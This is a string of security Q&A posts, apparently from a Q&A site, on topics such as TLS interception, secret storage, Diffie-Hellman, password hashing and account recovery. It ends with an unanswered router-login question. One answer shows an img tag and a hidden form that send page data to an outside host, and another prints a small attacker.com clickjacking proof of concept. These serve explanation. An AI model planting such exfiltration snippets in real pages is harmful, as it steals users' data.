What's the best practice for MitM'ing https traffic to distinguish self-signed certs? My organisation is concerned about viruses and attacks coming into our network.

Since http traffic has been declared persona non grata by some browser makers and other parties, it becomes increasingly difficult to perform such function.

As many sites nowadays block http:// access (instead simply redirecting to their https:// version), we're forced to do MitM to continue our scans effectively.

Which means that we must perform certificate authentication on a central basis, since it'll be our proxy that'll be doing the client-side TLS.

Not desiring to block self-signed certs of third parties, in such MitM setup, is there anything we can do to ensure our users can distinguish between downstream websites with self-signed and CA-based certificates?  E.g., if our upstream themselves does a MitM on our traffic, is there a way for us to let our user know, without blocking the connection (e.g., let them decide)?

I don't think it is a good idea to let users decide which certificates are nice and which are not or to accept self-signed or invalid certificates at all on a general basis. At least I do not believe that most users understand the underlying problems and would be able to make the proper decision. But maybe all your users have a deeper understanding of the topic and of the problems involved when making the wrong decision, so here is a way to transfer at least part of this information to the user:

For proper TLS connections which have a valid certificate the new certificate generated on the SSL interception device will be signed by the proxy CA of the device. This way no warnings in the browser occur as long as the proxy CA is imported as trusted.
TLS connections with an invalid certificate (expired, wrong subject, self-signed...) instead will not be signed by the proxy CA but a self-signed certificate will be created which will contain most of the original information (subject, expiration...). This will result in a warning inside the browser because it is not signed by a trusted CA and the user can look at the certificate details and decide to accept it anyway.

This way only valid certificates are silently accepted by the browser and all the others need manual intervention of the user. Note that I'm pretty sure that not all SSL interception devices will deal with invalid certificates the way I've described so you should check the details with the specific product or implementation you have in mind. Also, not all information about the reasons why a certificate was invalid are transferred this way. Especially you cannot distinguish between originally self-signed certificates and certificates with an otherwise broken trust chain (like missing chain certificates or untrusted root CA) this way and you have no way to look at the original issuer of the certificate.

But again, I don't recommend to fully trust users to decide what are good and bad certificates, so this practice should be restricted to only a few bad sites. From my experience the only valid self-signed certificates you have are for local devices (router etc) and thus should usually not be affected by SSL interception at all. Public sites on the internet instead should use public CA's and almost all do it. If they don't do it or do it wrong than these sites should better be blocked. From my experience the common sites on the internet will not cause any problems because this would cause problems in the browsers too and they would loose visitors this way.


Does antivirus software detect screen grabbing functionality in a running program? Let's say a malicious actor publishes a piece of software that calls a screenshot function (e.g.  Graphics.CopyFromScreen() or the UIAutomation Framework in .NET) every so often, but doesn't notify the user of that. I download and install that software.

Assuming that the software is signed with a valid publisher certificate, I have a few questions around that:

Would that screengrabbing behaviour be detected by an(y) Antivirus solution?
If yes, do legitimate screengrabbing programs need exceptions in an antivirus program to allow that behaviour?
If no, will at least the exfiltration of the data be detected by the AntiVirus software? (I guess the exfiltration can happen in so many different ways that it's a bit of an arms race to see that bytes are being sent that encapsulate/encode the screengrab and not some form of telemetry, for example)

I've been googling for a while but can't seem to find anything on the topic.

Screengrabs are not malicious in and of themselves. So, there is no need for anti-virus or anti-malware to be suspicious of that behaviour. Every OS has some sort of screenshot program. But unusual screengrabbing can increase the "score" for suspicion.

What anti-virus or anti-malware will do is look at the behaviour in context and comparison to all the other behaviour it has, or if it is a known bad binary, it will detect it.

I used to run a commercial, non-malicious PC spying package that took a screenshot every time someone hit the enter key or clicked the mouse. (This was a very specific use case for a specific threat on a single machine, and the machine had a poster informing users of this). I needed to whitelist the package's processes in the anti-malware software we used because it was the combination of behaviours (screengrab hooked in the background to the keyboard and mouse actions in all processes and not just the screengrab program) that was suspicious.


Keeping an ex or current spouse from accessing an account I'm working on improving the security of an application for something much like paying child support. With that said, if the wrong person gains access to our application, it can become very dangerous for the user. Sadly, there have been several instances where an ex or current spouse gained access to an account, or signed up as one of our users.

The biggest challenge is our demographic: many of our users are people who need to protect their information from someone they could be living with, work with, knows quite a bit about them, or still shares a device that can be used to access their account. Additionally, some of our users live in very remote areas, and may lack the means to ever meet with a worker in one of our offices. Without a face-to-face interaction, it's hard for us to be certain who is really creating an account or requesting access.

At the moment, part of our security process includes sending a letter in the mail with a verification code. However, many users hate this, as it can take up to two weeks for them to receive the letter. Additionally, if they're still living with their ex or spouse, there's no way to know which one of them will receive the security code.

In regards to security questions: which questions would a spouse not know? If anyone could guess the answers, it would be them. Also, if the account was created fraudulently, this would only make things worse for everyone.

We also cannot mandate users to meet directly with an employee for verification, as some of our users don't have the means to travel to one of our offices.

When it comes to using SMS and a cellular number, there is still concern that a malicious person will just use their number when creating a fraudulent account, or has access to the user's cellphone.

Without being able to meet with a person, how can you best be certain that they are who they say they are, instead of a well-informed ex, when creating an account or requesting a password/username reset?

There are a few options now.

In real life

hire a notary.

Online with (outsourced) human

Online notary using a web cam
scan and verify identification (drivers license, etc). There are services that do this but setup an elance/upwork contractor account to see it in action. Also look at the INS form that employers must use to verify their new hire is a US citizen.

Online with human you employ

call the person
ask the person to send you an email while you're on the phone with them

Online automated

text, and voice call
send snail mail
layer / parent / friend voice verificationn
deposit cash into a bank account to verify they have access
use plaid / yodlee to verify they can access a bank account (this is similar to what mint.com does)
cell phone providers have an alliance that provides cell phone to user information

Not everyone of your customers needs the full level of access though.

A customer should know which of the options will work for them.

The best bet is to use a bank account - banks have Know your Customer laws requiring them to accept IDs before opening accounts. While not full proof, it's a great improvement over what is out there otherwise. And if your app is financially related, it's not a huge step to ask the user to login to their bank account.

What not to do:

DO NOT use security questions


Best reasonable way to store a secret safely I'm working on a software that need to store and use secrets.

These secrets can be for example:

a password to connect to a database
a client secret for an OAuth 2.0 client_credentials grant.

I need to store these passwords somewhere (preferably in some kind of configuration file) and protect them with reasonable security.

Reasonable security means: no heavy hardware based solution such as HSM or a complicate infrastructure (PKI, ...).

The software is in Java, it should run anywhere Java can run (Especially Windows, GNU/Linux, Solaris, AIX).

It cannot rely on a OS or distribution specific tool such as GNOME keystore, KDE Wallet or any of these unless Java provides way to handle them (but I doubt it).

I thought of using symetric cryptography to encrypt the secrets when configuring the software and decrypt them at runtime when needed. But I don't know how to handle the encryption key.

I have 4 found possible solutions:

Use PBKDF2 (SHA256-AES256-CBC) or plain AES256-CBC with an hardcoded cryptographic key and optionally some code obfuscation (with ProGuard)

There is a dedicated CWE about that: CWE-321 - Use of Hard-coded Cryptographic Key. So I doubt this is the solution.

Use PBKDF2 (SHA256-AES256-CBC) or plain AES256-CBC with a key in a file on the filesystem

It exposes the key in a file that should be protected by some way

encrypted filesystem and/or
enforced ACL
anything else?

Use the Java keystore

The Java keystore needs a password to unlock, so where to store the Java keystore password? How to protect it? The serpent is eating its own tail...
Somehow equivalent to 2

Use white-box cryptography

It has shown some weaknesses and is more or less equivalent to obfuscation. (which is inside option 1).
I'm not sure Java implementation of WBC are mature.

I've seen that question: Practices for storing username/password in Web applications.

So my question here is: What is the "best" resonable option to protect my secret data?

I feel that 2 is better, after all it is simple, and the secret key protection would rely on the OS rather than the software itself, just like OpenSSH but I'm not totally convinced.

EDIT:

PBKDF2 could be replaced by any other password base key derivation algorithm, such as PKCS #12 v1 key derivation algorithm.

Bonus:

If I were to choose between PBKDF2 (SHA256-AES256-CBC) or plain AES256-CBC, what would be the best?

PBKDF2 is said to be good to protect passwords because it is 'slow'. And it was desgined for that.
AES256-CBC is more simple (no need to salt/hash/iterate the key like in PBKDF2)

I'm assuming that your threat model is an attacker gaining access to read files on your webserver via some type of web exploit. If not, you should question what exactly you are mitigating with your proposed encryption strategy.

If it is, an option similar to 2 is probably the most simple.

I would use AES128-CBC as the algorithm for a Key Encrypting Key. With a CSPRNG generated 128 bit encryption key, there is no need to use a key stretching algorithm. Algorithms such as PBKDF2 are only needed when you are attempting to secure weak, user supplied passwords. If you can set the keys yourself, you can simply make sure that they are the required bit strength.

AES256 is slower, and with no additional security over AES128.

Make sure your configuration file and your key file is locked down by access control lists.

Key file:

<128 bit random key>

Can only be read by a custom service account.

Config file:

Passwords to systems, encrypted by the key in the Key file.

Can only be read by the web server identity.

Make sure these files aren't servable by your web server (e.g. example.com/config.txt won't work). The way this should work is that you have a service account that runs a process. The web service calls this process and asks the service to decrypt a configuration file password for it. The service validates that only the web server process can call it.

This will protect your secrets from any LFI exploits in your system or server because an attacker in the context of the web server user won't have permission to read the key file or decrypt any credentials in your config file.

It won't protect against physical access, logical access to the system by another administrator level account, or any vulnerabilities that allow a process to be called. It would basically only protect against file reads of the config file directly by the web identity (the user the website itself runs as). If this is not a concern, then there is no need to encrypt secrets at all - the only thing it would really be protecting was casual observation by parties that may see the configuration file.


Use Nessus or focus on manual testing? Nessus scans for a a lot of vulnerabilities, so should I focus on learning vulnerabilities that are not covered by Nessus, like directory traversal attacks? Should I work on only the vulnerabilities that are not covered by Nessus, or learn all the vulnerabilities no matter covered or not by Nessus.

The 2 problems are:

Nessus doesn't give a list of the vulnerabilities (All of the vulnerabilities that it checks for and later tells us it is vulnerable to these sets of vulnerabilities) that it can find.
We have no idea about how efficient Nessus is (like for XSS attack, there is a big list of filter evasion methods on OWASP, I have no idea how many of these are covered by Nessus).

Advise please.

Putting aside that you are using Nessus, let me answer in terms of the use of any web application scanner as a tool.

Automated scanners are great tools for a quick, repeatable test that can find the most common issues with websites. I would never develop without running automated tools.

But, one always has to understand that these tools come with serious limitations and weaknesses. No tool is perfect.

So, it depends on the outcome you want. If you want a comprehensive understanding of your code, then you need a full process to cover your code. Things like:

code reviews
threat modelling
automated scanners
manual tests
3rd party manual tests

For every thing you decide not to include in your process, you also choose to lose that level of completeness of understanding.

If you depend solely on automated tools, you give up a LOT of understanding. Even if you use tools, it is still a good idea to understand all the common attacks on websites, yourself, and understand how to check for them manually. If for no other reason, than to check on false positives.


Authenticated Diffie Hellman Key Exchange It appears that the textbook version of Diffie-Hellman is susceptible to man in the middle attack and the use of digital signatures could prevent this attack from occurring.

Digital signatures could be implemented during the Diffie-Hellman key exchange in the following way

Alice has a pair of public/private key (SKa,PKa).
Bob has a pair of public/private key(SKb,PKb).
Alice generates her secret key Ka uses her private key SKa to sign (g^Ka) to produce Signature s(m)
Alice uses Bob public key PKb to encrypt her secret key Ka.
Alice sends over encrypted Ka and s(m) over to Bob
Bob will use his private key SKb to decrypt encrypted Ka to get C and use Alice public key PKa on s(m) to get D
Bob authenticates by ensuring that the C == D

I have three questions with regard to this

Is this how authenticated diffie-hellman key exchange using digital signatures is normally done? If not, how is it normally done?
Why do we bother with this form of key exchange where the sender and receiver must send their keys to each other before using the combined key when we can just encrypt the key using the senders private key followed by the receiver public key and send it to the other party?
Are there any flaws with my implementation of authenticated Diffie-Hellman key exchange?

Your description is a bit confused and appears to be wrong. In particular, we see Alice computing here Diffie-Hellman half gKA and then proceed to send... her Diffie-Hellman secret KA to Bob, which is not at all what she should do.

Plain Diffie-Hellman works the following way:

Alice generates (randomly) her secret KA and computes gKA.
Bob generates (randomly) his secret KB and computes gKB.
Alice sends gKA to Bob.
Bob sends gKB to Alice.
Alice computes (gKB)KA, using her secret KA and the value sent by Bob.
Bob computes (gKA)KB, using his secret KB and the value sent by Alice.

By the magic of mathematics, Alice and Bob ends up with the same value, which is the shared secret that they thereafter use for whatever cryptography they need to talk to each other.

For the authenticated variant, the same computations are done; but Alice and Bob also own asymmetric key pairs usable for digital signatures, and they use them: Alice signs whatever she sends to Bob, and Bob verifies that signature (using Alice's public key). Similarly, Bob signs what he sends to Alice, and Alice verifies that signature (using Bob's public key).

Note that a no point whatsoever does Alice send KA (he "DH secret") to Bob in any form. Neither does Bob send KB to Alice. And there is no encryption anywhere. You may encounter many tutorials that purport to explain digital signatures in terms of encryption (usually as "encryption with the private key"). These explanation are remnants of older times (the late 1970s, in fact, in the original Disco era) and are, in fact, plain wrong and very confusing. So don't think in those terms. Signatures are signatures, encryption is encryption.

Authenticated DH is what is done in, for instance, in SSL/TLS with the "DHE" cipher suites. It is also what happens in SSH (version 2).

There are two main reasons for using such an "ephemeral" Diffie-Hellman ("ephemeral" because Alice and Bob generate their DH secrets KA and KB on the fly):

The "permanent" key pairs owned by Alice and Bob may be unfit for anything else than signatures. A source of confusion (again) is that there is not one algorithm called RSA; there are at least two, one for encryption and one for signatures, and they appear to be able to use the same kind of key pairs. However, even if a RSA key pair can be used both for encryption and signatures, there are good reasons not to do so. There are also other signature algorithms (e.g. ECDSA) whose keys cannot be used (at least not easily) for encryption.
Using ephemeral DH secrets provides Forward Secrecy, which is good. Namely, the permanent keys of Alice and Bob must be stored somewhere; so they could, potentially, be stolen afterwards. With simple RSA-based key exchange (no DH, Alice encrypts a random session key with Bob's public key and Bob decrypts it), the ulterior key thief could use it to decrypt a past session. With the DH and the signatures, this issue does not occur; even if Alice's and Bob's signature private keys are revealed afterwards, their past communications cannot be decrypted. The whole concept of forward secrecy revolves around the idea that the "DH secrets", being generated on-the-fly, kept in RAM only, and destroyed immediately after completion of the DH key exchange, are immune to ulterior theft.


Accurately mapping networks for purposes of pentesting I always love staring at those network topology diagrams you see posted up in schools and online. Obviously if you physically setup and configured everything, plotting out servers, subnets, routers etc would be a breeze - But what tools do we have at our disposal to accurately and effectively map an unknown network?

Is it possible to fingerprint every piece of network hardware, every server, firewall, UTM device, proxy and associated ACL's/filters in a way that you could proudly display a detailed map on your bedroom wall?

Typically for the network identification part of a pen test you will need to use a combination of tools.

nmap is a good start, showing all devices that have a response, along with what ports respond. The fingerprinting functionality nmap brings is also pretty good. Zenmap provides a cool graphical mapping front end, as @TerryChian commented.
p0f does some clever things to get around firewall and router obfuscation of the target OS
scapy also has good network discovery functionality
etherape - haven't used it but had a quick look as per @symcbean's comment. Worth a look to understand each node's purpose.

You may also want to look at SNMP tools to gain extra info on the hosts you find.


What are requirements of Key Usage extension of parent and child certificates? This question is about validating certificates. Imagine some machine gets a leaf certificate (i.e. a certificate signed by the certificate of some CA) with specific Key Usage attributes.
Example #1: Should the machine reject the certificate if the parent certificate does not include the keyCertSign bit in Key Usage?
Example #2: Is the child Key Usage required to be a subset of parent Key Usage? Or is the child allowed to have specific Key Usage bits that are not in the parent cert?

https://tools.ietf.org/html/rfc5280.html#section-4.2.1.3 has this to say:

If the keyUsage extension is present, then the subject public key
MUST NOT be used to verify signatures on certificates or CRLs unless
the corresponding keyCertSign or cRLSign bit is set.  If the subject
public key is only to be used for verifying signatures on
certificates and/or CRLs, then the digitalSignature and
nonRepudiation bits SHOULD NOT be set.  However, the digitalSignature
and/or nonRepudiation bits MAY be set in addition to the keyCertSign
and/or cRLSign bits if the subject public key is to be used to verify
signatures on certificates and/or CRLs as well as other objects.

So the expectation is that a CA's KeyUsage will assert { keyCertSign | cRLSign } without asserting digitalSignature.  And the end-entity/leaf cert will of course want to assert digitalSignature, therefore there's no expectation of subsetting.


Symmetric or asymmetric encryption for JSON Web Token? We're planning on using JSON Web Tokens (JWT) for our authentication server, and I am currently evaluating which encryption approach to take for the JWE token.

There appear to be two options for managing the symmetric encryption key:

Issuer/recipient pre-share a symmetric key and encrypt all tokens using that; symmetric key is not included in the message.
Issuer generates a symmetric key per token, then encrypts the token using the recipient's public key and includes it in the message.

It doesn't seem to me that there's any inherent security advantage of either, as long a strong enough algorithms and large enough key sizes are used.

It looks like the main difference is that in the first case the recipient has to trust the issuer not to leak the pre-shared key, whereas in the second case only the recipient has the necessary decryption key. However, given the payload of this JWE token will be a signed JWS token, the recipient also must have a strong trust relationship with the issuer and must trust them not to leak their own private signing key, so this doesn't seem like a big issue.

Given option 1 produces a much smaller token (due to not having an encrypted symmetric key embedded in it) is there a good reason to prefer option 2?

I would say the main advantage of option 2 is that there is no need to distribute (or update in case it gets compromised) a pre shared key. If you can somehow make sure you have a secure mechanism of transfering the pre shared key, (i.e. there is only one person you need to do this with, and you're confident in talking to them on the phone and spelling out the key -- obviously this has security risks (phone taps, key written down on paper on the other end, etc) that you need to evaluate) I would go for option 1. However if you want to build some api interface where clients can connect and start secure connections without an out-of-band key exchange, go for option 2.


Client-side cross-site access in SSL environment - when it's still possible to do? I'm trying to imagine an secure sandboxed environment for an application which is big and unexplored, and may contain backdoors. It would live under chroot/virtual environment with no outgoing connections enabled, and all incoming connections will come from local SSL frontend using self-made CA and self-signed client certificate (Apache's RequireSSL directive).

So, no one will be able to connect to application and steal it's data via some backdoor. However, I wonder if the application's client side is technically able to do cross site requests via browser.

Can a page which is open in a self-made SSL context let one of its javascript elements to connect to another server without issuing a visible warning?

There are a couple of ways, which allow a web application to transmit information to another server using the browser as relay. The same origin policy prevents other websites from accessing a sensitive website, but there are a number of access types that are not restricted.

For example:

The img-tag can be used to load an image from any server: <img src="http://example.com/?log=sensitive-data">
css and javascript files can be loaded the same way
Forms can be submitted to any server. The can be hidden in an invisible iframe and submitted automatically by JavaScript: <form action="http://example.com/" method="POST">
There are cross origin requests in HTML5 using the XMLHttpRequest JavaScript object: HTML5 Top 10 Threats: Stealth Attacks and Silent Exploits


Has it been proven, that Google Home & Alexa do not record before their respective key phrases? The way Alexa & Google Home should work, is that they listen for a specific trigger word, after which they start sending data to their servers.

However, there have been some court cases, in which Alexa recordings have been used as evidence.

Since the smart speaker only starts sending data, once the trigger word is detected, can or has it been tested, with something like wireshark?

Would the absence of traffic be proof, that the smart speakers are not sending everything to the cloud, if not triggered by the key phrase?

Or would there be some sneaky way, in which the data can be collected all the time, but only send to the cloud after the key phrase, in order to obfuscate the spying?

If for example law enforcement had a warrant for a wiretap, and they somehow forced Google to record everything, how would they actually implement it, without a savvy user finding out?

I am really tempted to get one of these things, but I can't stomach the bad feeling, that I am basically installing an eavesdropping device voluntarily in my home, which at some point could come back to hurt me (for example by a major data leak at Google or Amazon).

My concern is probably misplaced, since I use an android phone and an android TV, both of which could be listening to me all the time anyway, but still.

How thoroughly have these devices been tested for this by independent security analysts and what steps could I take to decrease the chance of blanked recording?

I was thinking of somehow monitoring its traffic and having a sound play, each time it sends more than X amount of data or something like that.

If you have a device in your room which can record data and which from time to time sends data to some server on the internet there don't need to be any kind of relationship when the device records data and when it communicates with the internet. It is perfectly possible that the device records data and only transmits these data later, maybe even only when receiving a command from outside.

The only way to be sure that this is not the case is to analyze the currently running software on the device and make sure that the software never gets replaced (or analyze it again then). But since these are proprietary closed source products which from what I believe have not received any independent and deep enough analysis and can also be easily updated by the vendor to a different firmware you just have to trust the word of the vendor who will likely assure you don't have to worry about anything.


HTTPS in captive portals and the Apple Captive Network Assistant Suppose I connect to the Wi-Fi of a company I trust enough to give them my credit card number (say, my local airport). When I connect to their Wi-Fi network, my web browser gets redirected from any page to their captive payment page.

With luck, they'd be using a company-owned domain and HTTPS. If I'm really lucky, it might even be an EV certificate with the company name on it.

It seems that some phones, in particular the current version of iOS, show any such captive forms in a special interface, instead of the standard browser. As best as I can tell from the official guide, there is no way in this special interface to check the SSL certificate. It shows the domain, but not the certificate status.

Does this interface only work if the portal uses HTTPS and the certificate is valid? Is there some way to see the actual certificate, or at least whether it's a domain certificate or EV? It's not uncommon for companies to use a weird separate domain that you can't know is theirs off the top of your head, but if they used EV on it then you have some confidence that it's theirs.

I'll let someone else answer about how the iOS captive portal interface displays certificate status and whether the captive portal is served over HTTPS, but I do know a solution.

When connecting to an open Wi-Fi, dismiss the captive portal sheet then click on the network entry's "i" icon on the right in the Wi-Fi network list. That will display properties for the network and will include a "Auto login" toggle which controls whether iOS tries to detect and handle the captive portal. Turn it off. That way, iOS will connect to the network and you'll be able to use the standard Safari browser to log in to the captive portal, which displays a lock icon if the page is served over HTTPS.

An even better solution would be to push your public Wi-Fi provider into using EAP to authenticate users instead of horrible and insecure captive portals.


Figure out if "correct" encryption algorithm was used Given a database like CryptDB, is it possible to determine whether the data is actually encrypted with the correct (specified) onion?

I'll elaborate a bit: CryptDB uses onions (chaining) of encryption algorithms to provide an ecrypted RDBMS. It encrypts a column with at least one algorithm and stores the algorithm(s) used for that column somewhere.

Given the fixed set of possible algorithms, all respective keys, a cipher text and the list of algorithms CryptDB stored as used, is it possible to determine from the cipher whether these algorithms were actually used?

If you have the keys (and other parameters, e.g. IV), you could just decrypt the data. That would tell you that the right algorithm was used.

If you don't have the keys, then it's very unlikely. If you could do so, you'd be performing a distinguishing attack. There are known distinguishers for some common ciphers (e.g. RC4) but not for others (e.g. AES). The existence of these usually implies that the cipher is flawed in some way.


How are "security questions" not a major security hole for any application that uses them? So the original security model was to ask the user for an email address, at time of account creation, and if they forgot their password the system would email a new password to this email address.

The idea now, however, seems to be to use security questions more.  So if I forget my password, the website asks me "What is your pet's name?", I type in "chuck" and then the website prompts me to provide a new password and lets me in.

The security questions model seems much less secure to me, as a dictionary attack could be more effective against it.

Why are we "ok" with security questions, as this seems to bypass our requirement for secure passwords?

Email password reset is not particularly secure either, since it means that if you manage to compromise someone’s email account you can take over all of their other online accounts. At least with well-chosen security questions (which would not include a pet’s name) they are unlikely to be used by the user on another website, so that a compromise is restricted to that one account. The truth is that security is a trade-off with convenience, and there’s no way to authenticate users that is both reasonably secure and reasonably convenient, so you have to decide which is more important.


Arguments that proof a hashing scheme is sufficient We're currently working on a new server application that is going to communicate with client applications on many different systems. For this we wanted to implement a new password hashing scheme.

I've done quite some research, including reading many questions on security.SE and crypto.SE, about the hashing of passwords. After this research I've come up with the following hashing scheme:

We will use PBKDF2 as the hashing algorithm. The choice for this lies mainly in it being available directly in the .NET Framework. I've looked at both bcrypt and scrypt, but because both need third party libraries we just went with PBKDF2.

With the use of PBKDF2 there is also the free salt you get when generating a hash for the first time.

The question then was how to save the data in the database. We had two options:

Save each value seperately, i.e. hash, salt, iterations and algorithm.
Or save it as a single string.

We went with the single string value which looks as follows:

<algorithm>$<iterations>$<salt>$<hash>

This is similar to how, for example, Django does it.

I've implemented it like this and wrote up a report with our choices and arguments. But now I get questions about the design. For example some wonder why the salt is so clearly saved, wouldn't it be better to combine the salt and hash in a single string to make it less obvious to attackers.

Usually these cases make assumptions where attackers only have the database and such. While I claim that we should always look at the worst case scenario and assume attackers have both the code and the database. I also claim that the salt is there to negate the effect of rainbow tables and lookup tables. And the number of iterations is the deter brute force attacks.

But because I'm not a security professional, what I say can easily be ignored (although this goes for any argument on the internet ;)).

Therefore, I need anything that can show that what we created is a correct way of doing it.

I've just implemented a lot of things I found on the internet, but have no (scientific) proof that this is sufficient.

The salt needs not be secret, because if it needed to be secret we would call it a key.

Doing things correctly, and convincing other people that you did things correctly, are two distinct issues. In any case, we always assume that the attacker knows both the database contents and the code, because that's what happens in practice. Keeping code secret is very hard, since it exists as binaries and source codes in many places (the server itself, the developers' machines, backup tapes, in the developers' heads, and possibly over the whole Internet if the code is opensource). Assuming that the code is secret does not seem to be a good foundation for security.

Therefore, you may (and must) assume that the attacker will know which part of your stored string is the salt, and which part is the hash value. Hence, you may as well use a clear and precise encoding, like you suggest.

For the convincing part, quote NIST (the US federal organization which deals, in particular, with cryptography standards), special publication 800-132. See for instance page 3 of that document, where the salt is defined as:

  A non-secret binary value that is used as an input to the key
  derivation function PBKDF specified in this Recommendation to
  allow the generation of a large set of keys for a given password.

(emphasis on "non-secret").


Is forcing users to use a strong password effective? I am designing a service that would, among other things, store sensitive information. To ensure no unauthorized access of this information, it would be encrypted with a key derived from their password (PBKDF2). The password will be stored in a BCrypt hashed + salted format in the database. It is never stored in plain text.

The nature of the saved information is such that a strong password is necessary. Some websites force their users to make up passwords with large entropy by enforcing strict character guidelines. These complex passwords can lead to password reuse on different websites [1]. This is A Bad Thing™ [2].

I would much rather have my users select a password that is both strong and not very likely to be reused or already in use on another, less secure web service. As such, I was thinking of using an XKCD-like [3] password scheme for my users in their native language.

The user would be presented with 4-5 different words from a large word list with more than 6 characters (no words with special characters included, just ASCII). The password input dialog would be formatted with 4-5 fields instead of the normal single field, to reenforce the passphrase paradigm. Upon registration the password can be regenerated at will, to give the user the ability to select a passphrase consisting of words that they can easily remember. The user can not enter their own words.

I know from personal experience that CreeperHost [4] already uses this method, albeit with a single password field with four concatenated English words.

My questions are as follows:

Would this method be more secure/effective than allowing users to pick their own?
Does anyone have any experience with implementing a similar scheme? Was it effective?
Is dividing the password field into more than one distinct field benificial or does it expose too much information?

I am looking specifically for answers related to real-world application of this specific method, if there are any. I am familiar with the theoretical strengths and weaknesses of this method of password generation.

The Tangled Web of Password Reuse - http://www.jbonneau.com/doc/DBCBW14-NDSS-tangled_web.pdf
Password reuse - http://xkcd.com/792/
Password Strength - http://xkcd.com/936/
Creeperhost - http://www.creeperhost.net/

Allow any passwords. Just highlight consequences.

Your scheme is weird and alien to users and I believe many people would rather stop using your service than comply. Instead of letting them choose their own password, you're forcing them to remember one you chose for them. This is unacceptable to most people. You think that you're giving them a choice by "try again", but the difference in user experience is about same as ATM vs one-armed bandit.

Keep in mind that the biggest issue is human factor. What you should avoid in the first place is passwords being written on a whiteboard. These guys had a very secure password. And then it aired on TV.

If you want to ensure no one at your side would be able to crack it, then what you need are internal procedures, not monkey-training users. Maybe a system where access to salted passwords is protected by the same retry limits as the user login panel. Besides, it's not important to make it impossible for workers to gain access. Clerks in stores have unlimited access to cash registers. What prevents theft is awareness of unavoidable consequences. Use admin-session recording. Use "minimum 2 persons to access" procedures. This is how banks do it, because strong user passwords can't protect everything.


Is it still possible to get a virus simply by visiting a website? I know this is a duplicate question, but there aren't any recent updates on the answers given to this question(here and here) and after a few years, I'm sure browser security has improved drastically. I was wondering if it's still possible for a user to get a virus by just visiting a malicious website?
Say if you accidentally click a google search result and quickly close the page would it be possible for an attacker to put any malicious script in your browser? Also another situation is https://ytmp3.cc/youtube-to-mp3/ (a youtube video to mp3 converter), I'm sure this site isn't malicious but it does redirect you to other sketchy websites when you are prompted to download the converted file. These redirected websites are probably malicious.

Absolutely, even legitimate web sites can be a source of infection due to the ads they display (for instance exploit kits or drive-by).
Also, as soon as you navigate from a vulnerable browser (especially affected with a zero-day exploit) or even worst with vulnerable plugins, some types of virus can load themselves without any kind of intervention (clicking accept to download or opening a file for example).
However, there are encouraging improvements to counter this problematic, Edge now uses an interesting security feature which consists of a partial sandbox used when browsing, so that any damage at the browser level is automatically remediated without compromising other software components.


Stealing page source via Clickjacking I am learning Javascript. Also researching web based vulnerabilitys to learn. I just wondering how Javascript can be used to steal view page source or any text or any tokens leaking on the page via Clickjacking. I need a demo poc to see how it works.
I know we can use  Ctrl+C for copying leaking text on web page and Ctrl+V for pasting the copied token on the input box for hijacking. And sending to Attacker server.

Stealing information is not easily possible and not what Clickjacking is really about.

Clickjacking is functionally similar to CSRF, in that you can perform actions on the site across origins, but you cannot retrieve information.

With Clickjacking, you can perform any click actions, and potentially also enter text by dragging it into the iframe (depending on the browser). But you cannot drag text out of the iframe, because the same origin policy prevents that.

  I know we can use Ctrl+C for copying leaking text on web page and Ctrl+V for pasting the copied token on the input box for hijacking.

That's a neat idea, but it requires some unlikely user interaction.

For a quick example, consider this:

// attacker.com/clickjack.html

Copy this (double click -> CTRL+C)

<input type="text" placeholder="to here (CTRL+V)" oninput="alert('stolen: ' + this.value)">

// example.com/steal.html
secret

For a successful attack, a user would need to double-click on the upper-left of the page (certainly doable), press CTRL+C (unlikely), select the input, and press CTRL+V (also unlikely).

This would also only work in Firefox, as Chrome doesn't allow selecting invisible text.

You could likely improve on the attack, for example by "highlighting" the overlay text ("Copy this") once the page loses focus (so it looks as if the double click actually selected that text, instead of the text in the iframe). You can further improve the attack using JavaScript and the usual advanced Clickjacking techniques (automatically tracking the mouse cursor, etc).

There shouldn't be any way to steal source code this way (you can't use view-source:... as a src in an iframe)


How to secure/cleanup my accounts after having an old email account breached I have two email accounts. My main one that I created a few years ago and switched to, which has a very strong/unique password that is not written down or stored anywhere. It also has 2-factor auth enabled. I have an older email account that I haven't used in years, but kept around since my Paypal account is linked to it. I forward all the emails from my old account to my new one.

A few days ago I received an email from Microsoft saying that there was a new access to my old email account. I reviewed the activity and after confirming that it was indeed not me, I immediately recovered the account, changed the password and added 2-factor auth for this one as well. The email from Microsoft said that the account was locked down, and that access to my inbox, contacts and calendar was blocked until I verified it.

This is an old account that I haven't used in years, there aren't any important accounts associated with it other than my Paypal account. I logged into Paypal, reviewed my details, history, nothing has changed, no payments have been made.

I changed my Paypal password, but since it was still the same one I presume that the attacker didn't try to recover it - the message from Microsoft said that my inbox was blocked as soon as he tried to login, if this is true then he wouldn't have been able to receive the password reset email at all.

What's my next step? I want to believe the Microsoft email and think that my inbox was locked and thus the attacker wasn't able to get anything out of my account, but a part of me doesn't want to take any chances.

I recently started using a password manager and changed a few dozens password on all the website I frequently use, and I use different passwords for my bank website, Paypal and my main email address - none of which are in the password manager.

Does anyone else have experience with a breached Microsoft account? Could the attacker do more damage than I think? Are there some things I need to watch for?

Any advice would be really appreciated.

General rule of thumb when this happens (and it's a pain): You have to go through the old account, figure out what other online services are linked to it, and then update your login info on all of them.

Linked online services being defined as:

Services registered to the compromised account
Services for which you have recorded login or recovery info on that account.

If you used the old account as a recovery address for your new account, delist the old account immediately and constantly monitor your new account for reset requests.

Additionally, any personal or otherwise sensitive data you had stored in the account should be considered compromised. If you stored your personal identifying info on that account, you might consider registering for an identity protection service. If you have credit/banking card numbers and/or PINs contained anywhere on the account, cancel all affected cards and ask for new PINs where applicable.

A good way to do recovery email addresses is to have a single account on a trusted/reputable online email service with extremely strong login info (and preferably one that doesn't deactivate your account due to lack of use). Store the login info encrypted on 2 personal computers that never leave your house and preferably no one else has access to.
Use this account solely for recovery; NEVER use it to register for online services as this will expose the email address. Harder to get hacked if no one else knows about the hidden recovery address.

Why this works:
First, make some generous and slightly unrealistic assumptions - the user never gets keyloggers or similar malware and the email service never gets compromised. The recovery email is never typed in on any other website so hackers have no way of knowing it exists. The only way they can gain access: grabbing the computer with the login info and decrypting it. This means they would need to find the geographic location of your house, climb in through a window or unlock a door, figure out which computers have the encrypted info, and then hack the encryption. That's an extremely tall order for anything short of a government-sponsored hack or an "inside job" (where a roommate or family member somehow records the decryption key and takes the recovery account).


How to find remote routers mac address? I found an open port on my home network. Port 4567. From what I understand and have read online the router uses its MAC address as username, so all you need to login on the router is the routers Ethernet mac address and an admin password that can be found online.

